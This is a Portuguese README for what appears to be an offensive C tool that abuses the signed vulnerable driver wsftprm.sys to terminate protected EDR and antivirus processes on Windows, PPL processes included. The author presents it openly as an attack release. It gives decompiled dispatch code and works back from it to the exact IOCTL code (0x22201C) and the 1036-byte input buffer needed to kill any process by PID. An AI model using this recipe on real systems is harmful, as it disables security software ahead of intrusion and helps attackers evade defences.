
Ferramenta baseada em C que explora o driver de kernel vulnerável wsftprm.sys para encerrar processos protegidos de EDR/AV no Windows, incluindo processos PPL, através da lógica de despacho de IOCTL revertida.
F, outro motorista foi queimado.. Eu estava guardando o driver wsftprm.sys por um tempo ;) mas desde que alguém postou um POC público, estou desguardando. Todos sabemos que será adicionado à lista de bloqueio de drivers em breve, então aqui está minha implementação para o mesmo — em C
Este projeto explora o driver vulnerável wsftprm.sys (driver de kernel Topaz Antifraud) para encerrar processos protegidos (ex.: serviços antivírus/EDR) no Windows.
A partir de Janeiro de 2026, wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) continua sendo um dos drivers vulneráveis assinados que não está na lista oficial de bloqueio de drivers vulneráveis da Microsoft.
Há uma tonelada de informações sobre como carregar e reverter um driver, então consulte qualquer uma delas. A única coisa interessante sobre este driver é como eles lidam com os IOCTLs.. O driver não usa uma instrução switch padrão para despacho de IOCTL. Em vez disso, ele emprega uma cadeia de subtrações do código IOCTL para obscurecer os valores pretendidos.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
então agora sabemos o pré-requisito para alcançar a função vulnerável. Basicamente v11 == 4 && InputBufferLength == 1036 então podemos meio que trabalhar de trás para frente a partir da condição para obter o Código IOCTL.. Algo assim:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
E então você pode usar DeviceIoControl com o código IOCTL para encerrar o processo que deseja (incluindo processos PPL)
Último teste na versão 25H2 do Windows!